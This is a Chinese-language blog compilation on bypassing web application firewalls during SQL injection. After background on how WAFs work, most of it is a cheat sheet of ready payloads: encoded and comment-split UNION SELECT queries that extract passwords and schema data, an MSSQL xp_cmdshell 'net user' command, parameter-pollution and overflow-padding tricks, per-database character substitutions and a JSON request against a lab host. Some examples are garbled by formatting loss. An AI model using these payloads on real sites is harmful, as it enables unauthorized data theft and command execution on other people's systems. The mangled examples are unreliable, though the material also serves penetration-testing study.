SQL注入之WAF绕过总结

SQL注入之WAF绕过总结

一、WAF的定义

WAF(Web应用防火墙)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。通俗来说就是WAF产品里集成了一定的检测规则,会对每个请求的内容根据生成的规则进行检测并对不符合安全规则的作出对应的防御处理,从而保证Web应用的安全性与合法性。

二、WAF的工作原理

WAF的处理流程大致可分为四部分:预处理、规则检测、处理模块、日志记录

1. 预处理

预处理阶段首先在接收到数据请求流量时会先判断是否为HTTP/HTTPS请求,之后会查看此URL请求是否在白名单之内,如果该URL请求在白名单列表里,直接交给后端Web服务器进行响应处理,对于不在白名单之内的对数据包解析后进入到规则检测部分。

2. 规则检测

每一种WAF产品都有自己独特的检测规则体系,解析后的数据包会进入到检测体系中进行规则匹配,检查该数据请求是否符合规则,识别出恶意攻击行为。

3. 处理模块

针对不同的检测结果,处理模块会做出不同的安全防御动作,如果符合规则则交给后端Web服务器进行响应处理,对于不符合规则的请求会执行相关的阻断、记录、告警处理。

不同的WAF产品会自定义不同的拦截警告页面,在日常渗透中我们也可以根据不同的拦截页面来辨别出网站使用了哪款WAF产品,从而有目的性的进行WAF绕过。

4. 日志记录

WAF在处理的过程中也会将拦截处理的日志记录下来,方便用户在后续中可以进行日志查看分析。

三、WAF的分类

1. 软WAF

软件WAF安装过程比较简单,需要安装到需要安全防护的web服务器上,以纯软件的方式实现。

代表产品:安全狗,云锁,D盾等

2. 硬WAF

硬件WAF的价格一般比较昂贵,支持多种方式部署到Web服务器前端,识别外部的异常流量,并进行阻断拦截,为Web应用提供安全防护。

代表产品有:Imperva、天清WAG等

3. 云WAF

云WAF的维护成本低,不需要部署任何硬件设备,云WAF的拦截规则会实时更新。对于部署了云WAF的网站,我们发出的数据请求首先会经过云WAF节点进行规则检测,如果请求匹配到WAF拦截规则,则会被WAF进行拦截处理,对于正常、安全的请求则转发到真实Web服务器中进行响应处理。

代表产品有:阿里云云盾,腾讯云WAF等

4. 自定义WAF

我们在平时的渗透测试中,更多情况下会遇到的是网站开发人员自己写的防护规则。网站开发人员为了网站的安全,会在可能遭受攻击的地方增加一些安全防护代码,比如过滤敏感字符,对潜在的威胁的字符进行编码、转义等。

四、WAF的部署方式

​ \1. 透明网桥

​ \2. 反向代理

​ \3. 镜像流量

​ \4. 路由代理

链接:

1
https://www.freebuf.com/articles/web/229982.html

绕过waf的方法

①关键字大小写混合

②关键字替换

③使用编码

④使用注释

⑤等价的函数和命令

⑥使用特殊符号

⑦HTTP参数控制

⑧缓冲区溢出

⑨整合绕过

2.1关键字大小写混合

关键字大小写混合只针对于小写或大写的关键字匹配技术-正则表达式,如果在匹配时大小写不敏感的话,就无法绕过。这是最简单的一个绕过技术。

例如:将union select混写成UiNon SelEct

2.2关键字替换

这种情况是某些函数方法或者正则表达式会替换或删除其中的关键字,例如union、select等。在有些情况下,方法会匹配多次。方法很简单,关键是要知道目标匹配几次。

例如:uniunionon匹配一次后就变成了union。

selselectect匹配一次就变成了select。

uniuniuniononon匹配两次的话,也会变成union。

2.3使用编码

2.3.1URL编码

在Chrome中输入一个链接非保留字的字符浏览器会对其URL编码如空格变为 %20、单引号%27、左括号%28、右括号%29等。普通的URL编码可能无法实现绕过不过存在某种情况URL编码只进行了一次解码过滤可以用两次编码绕过。

例如:union=%75%6E%69%6F%6E

page.php?id=1UNION 1,2,3,4,SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

示例代码中前者是对单个字符十六进制编码后者则是对整个字符串编码对整个字符串编码相对来说较少见一点。

2.3.2Unicode编码

Unicode有所谓的标准编码和非标准编码假设我们用的utf-8为标准编码那么西欧语系所使用的就是非标准编码了。

看一下常用的几个符号的一些Unicode编码

单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07

空格:%u0020、%uff00

左括号:%u0028、%uff08

右括号:%u0029、%uff09

例如:?id=10%df'%u0020AND 1=2#

SELECT ‘Ä’=’A’; #1

两个示例中,前者利用双字节绕过,比如对单引号转义操作变成',那么就变成了�',�\构成了一个宽字节即Unicode字节,单引号可以正常使用。这也就是宽字节注入。

第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是True或者False,关键在于Unicode编码种类繁多,基于黑名单的过滤器无法处理所以情况,从而实现绕过。

另外平时听得多一点的可能是utf-7的绕过,还有utf-16、utf-32的绕过,后者从成功的实现对google的绕过,有兴趣的朋友可以去了解下。常见的编码当然还有二进制、八进制,它们不一定都派得上用场,但后面会提到使用二进制的例子。

2.4使用注释

常用的注释符号://、–+、– (这里有一个空格)、#、– -、;–a

2.4.1普通注释

在构造的查询语句中插入注释规避对空格的依赖或关键字识别#、–+用于终结语句的查询

例如:?id=15 or 1=1#

2.4.2内联注释

相比普通注释内联注释用的更多/!content/只有MySQL会正常识别content的内容

例如:?id=-15 !union/ !select/ 1,2,3–+

两个示例中前者使用内联注释后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分要做到这一点后面讨论的特殊符号也能实现当然前提是包括/、*在内的这些字符能正常使用。

2.5等价函数或命令

有些函数或命令因其关键字被检测出来而无法使用但是在很多情况下可以使用与之等价或类似的代码替代其使用

2.5.1函数或变量

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

例如substring()和substr()无法使用时:

?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))

2.5.2符号

“and”==>”&&”或”&”

“or”==>”||”

“not”==>”!”

“=”==>”<>”或”like”或”rlike”

“ “==>”/**/“或”TAB键”或”回车键”或”%A0”

2.5.3生僻函数

MySQL/PostgreSQL支持XML函数。MySQL、PostgreSQL、Oracle它们都有许多自己的函数基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能而且代价太大因此黑名单的确是更适合处理已知的情况。

2.6使用特殊符号

这里我把非字母数字的字符都规在了特殊符号一类这些符号有特殊的含义和用法涉及信息量比前面提到的几种都要多。

先看下drops上waf的绕过技巧一文使用的几个例子

1.使用反引号,例如select version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用

2.神奇的”-+.”,select+id-1+1.from users; “+”是用于字符串连接的,”-“和”.”在此也用于连接,可以逃过空格和关键字过滤

3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量

4.Mysql function() as xxx 也可不用as和空格   select-count(id)test from users; 绕过空格限制

可见使用这些字符的确是能做很多事也证实了那句老话只有想不到没有做不到

笔者搜罗了部分可能发挥大作用的字符(这里未包括’、*、/等在内考虑到前面已经出现较多次了)`、~、!、@、%、()、[]、.、-、+ 、|

例如:关键字拆分

‘se’+’lec’+’t’

%S%E%L%E%C%T 1

1.aspx?id=1;EXEC(‘ma’+’ster..x’+’p_cm’+’dsh’+’ell “net user”‘)

!和()’ or –+2=- -!!!’2

id=1+(UnI)(oN)+(SeL)(EcT)

有看到说Access中,”[]”用于表和列,”()”用于数值也可以做分隔

> > , <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN

使用这些”特殊符号”实现绕过是一件很细微的事情一方面各数据库对符号的处理是不尽相同的另一方面你得充分了解这些符号的特性和使用方法才能会考虑利用其实现绕过

2.7HTTP参数控制

这里HTTP参数控制除了对查询语句的参数进行篡改还包括HTTP方法、HTTP头的控制

2.7.1HPP(HTTP Parameter Polution)

例如:/?id=1;select+1&id=2,3+from+users+where+id=1—

/?id=1unionselectpwdfromusers

HPP又称做重复参数污染最简单的就是?uid=1&uid=2&uid=3对于这种情况不同的Web服务器处理方式如下

11eb-9e6c-00163e068ecd

2.7.2HPF(HTTP Parameter Fragment)

这种方法是HTTP分割注入同CRLF略有相似之处(使用控制字符 、 等换行)

例如:/?a=1+unionselect+1,passfrom+users–+

select * from table where a=1 unionselect 1,passfrom users–+

看完上面两个示例发现和HPP最后一个示例很像不同之处在于参数不一样这里是在不同的参数之间进行分割结果到了数据库执行查询时再合并语句。

2.7.3HPC(HTTP Parameter Contamination)

这一概念见于”https://www.exploit-db.com/papers/17934"这里Contamination意为污染

RFC2396定义了如下一些字符

Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ‘ ()

Reserved : ; ? : @ & = + $ ,

Unwise : { } | \ ^ [ ] `

不同的Web服务器处理处理构造的特殊请求时有不同的逻辑。

2.8缓冲区溢出

缓冲区溢出用于对付WAF在内的软件本身有不少WAF是C语言写的而C语言自身没有缓冲区保护机制因此如果WAF在处理测试向量时超出了其缓冲区长度就会引发bug从而实现绕过

例如:

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA*1000指0xA后面”A”重复1000次一般来说对应用软件构成缓冲区溢出都需要较大的测试长度这里1000只做参考也许在有些情况下可能不需要这么长也能溢出。

2.9整合绕过

整合的意思是结合使用前面谈到的各种绕过技术单一的技术可能无法绕过过滤机制但是多种技术的配合使用成功的可能性就会增加不少了。这一方面来说关系到总体与局部和另一方面则是多种技术的使用创造了更多的可能性组合除非每一种技术单独都无法使用否则它们能产生比自身大得多的能量。

例如:

z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 “A”)..])+++1,2,3,4…

id=1+SeLeCT+1,2,concat()+FrOM .tables ++like+database()–+

?id=-725+++1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+.COLUMNS+WHERE+TABLE_NAME=0x41646d696e–+

三、总结

个人觉得能不能巧妙地绕过waf,全凭个人的脑洞开的够不够大。最主要的还是,多看多学多练。

原文链接:

https://www.cnblogs.com/zqjt2/p/5600951.html

数据库的特性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
MySQL特性
select id,contents,time from news where news_id=1①union②select③1,2,username④from⑤admin


•位置①•可以利用其它控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0•可以利用注释符号替换空格:/**/、%23est%0d%0a、 --+a%0d%0a

•可以利用数学运算以及数据类型:news_id=1.0,news_id=1E0,news_id=\N



•位置②•可以利用其它控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0•可以利用注释符号替换空格:/**/、%23test%0d%0a、 --+a%0d%0a

•可以利用括号:union(select 1,2)



•位置③•可以利用其它控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0

•可以利用注释符号替换空格:/**/、%23test%0d%0a、 --+a%0d%0a•可以利用其它符号:+ 、- 、 ~ 、!、@



•位置④•
可以利用其它控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0可以利用注释符号替换空格:/**/、%23test%0d%0a、 --+a%0d%0a

•大括号{}:union select {``1},{x 2}•可利用数学运算以及数据类型:
union select usename,2.0from admin union select username,8e0from admin union select username,\Nfrom admin



•位置⑤•
可以利用其它控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0•可以利用注释符号替换空格:
/**/、%23test%0d%0a、 --+a%0d%0a
•反引号`:union select 1,table_name,3 from`information_schema`.`tables`limit 0,1%23

•内联注释:union select 1,table_name,3 from /*!50001information_schema.tables*/ limit 0,1%23
•大括号{}:union select 1,table_name,3 from{x information_schema.tables}limit 0,1%23
•小括号():union select 1,table_name,3 from(information_schema.tables)limit 0,1%23

SQLServer特性

select id,contents,time from news where news_id=1①union②select③1,2,db_name()④from⑤admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
- 位置①
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、--+a%0d%0a
- 可利用数学运算符以及数据类型:news_id=1.0,news_id=1e0,news_id=1-1
- 位置②
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、--+a%0d%0a
- 可以利用加号+替换空格:union+select
- 位置③
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、--+a%0d%0a
- 可利用数学运算符:+、-、~、. (注:其中-、~、.号必须是select查询的第一个字段的数据类型为数字型才能使用)
- 可以利用小括号()替换空格:select(1),2,db_name()
- 位置④
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、--+a%0d%0a
- 可利用其他字符:%80~%FF(需要IIS服务器支持)
- 位置⑤
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、--+a%0d%0a
- 可利用其他字符:%80~%FF(需要IIS服务器支持)
- 可以利用点号.替换空格:from.users
- 可以利用中括号[]替换空格:from[users]

Access特性

select id,contents,time from news where news_id=1①union②select③1,2,username④from⑤admin

1
2
3
4
5
6
7
8
9
•位置①
•可利用其他控制字符替换空格:%09、%0a、%0c、%0d、%16

•位置②
•可利用其他控制字符替换空格:%09、%0a、%0c、%0d

•位置③
•可利用其他控制字符替换空格:%09、%0a、%0c、%0d
•可使用其他字符:+、-、.、=

Oracle特性

select id,contents,time from news where news_id=1①union②select③1,2,username④from⑤admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
•位置①
•可利用其他控制字符替换空格:%00、%09、%0a、%0b、%0c、%0d
•可以利用其它控制字符替换空格:%1f、%1d•可使用其他字符:.

•位置②
•可利用其他控制字符替换空格:%00、%09、%0a、%0b、%0c、%0d

•位置③
•可利用其他控制字符替换空格:%00、%09、%0a、%0b、%0c、%0d
•可使用其他字符:-、+、%ad

•位置④
•可利用其他控制字符替换空格:%09、%0a、%0c、%0d

•位置⑤
•可利用其他控制字符替换空格:%09、%0a、%0c、%0d
•可插入字符:%30%ff、%24、%7b%22%7b%76

PostgreSQL特性

select id,contents,time from news where news_id=1①union②select③1,2,username④from⑤admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
•位置①
•可利用其他控制字符替换空格:%09、%0a、%0c、%0d
•可使用其他字符:.、!

•位置②
•可利用其他控制字符替换空格:%09、%0a、%0c、%0d

•位置③
•可利用其他控制字符替换空格:%09、%0a、%0c、 %0d
•可使用其他字符:.、~、@、-、+

•位置④
•可利用其他控制字符替换空格:%09、%0a、%0c、%0d

•位置⑤
•可利用其他控制字符替换空格:%09、%0a、%0c、%0d
•可插入字符:%30~%ff、%24

Emoji表情字符绕过

emoji是一串unicode字集组成,一个emoji图标可以占2、4、7个字节。且mysql支持emoji存储。

部分Emoji可以插入到%23与%0A之间实现绕过。

json提交与xml提交绕过

有些程序是 json 提交参数,程序也是 json 接收再拼接到 SQL 执行 json 格式通 常不会被拦截。所以可以绕过 waf。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.0.115
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type:application/json
Content-Length: 38
Origin: http://192.168.0.115
Connection: close
Referer: http://192.168.0.115/06/vul/sqli/sqli_id.php
Cookie: PHPSESSID=e6sa76lft65q3fd25bilbc49v3; security_level=0
Upgrade-Insecure-Requests: 1
{'id':1 union select 1,2,3,'submit':1}

特殊的百分号

ASP/ASPX+IIS的环境中存在一个特性,就是特殊符号%,在该环境下当们我输入s%elect的时候,在WAF层可能解析出来的结果就是s%elect,但是在iis+asp的环境的时候,解析出来的结果为select。

PostgreSQL字符串特性绕过

由于 postgres 会将双引号中的内容认为是一个表名/字段名,同时在双引号引起的字符串中使用 U& 前缀转义是合法的,所以当过滤了 information_schema 等关键名称时,可以将其用双引号引用并在其前面 加入 U&转义前缀,同时将其中某个字符替换为对应的 Unicode 表现形式来绕过 WAF。

例如:以下语句同样会返回所有的 Schema

1
2
select U&"tabl\0065_sch\0065ma" from U&"inform\0061tion_sch\0065ma".U&"t\0061bles" where 
U&"tabl\0065_sch\0065ma" not in (U&'pg_cat\0061log',U&'inform\0061tion_sch\0065ma') group by 1;

畸形的boundary绕过

PHP在解析multipart data的时候有自己的特性,对于boundary的识别,只取了逗号前面的内容,例如我们设置的boundary为—-aaaa,123456,php解析的时候只识别了—-aaaa,后面的内容均没有识别。然而WAF在做解析的时候,有可能获取的是整个字符串,此时可能就会出现绕过。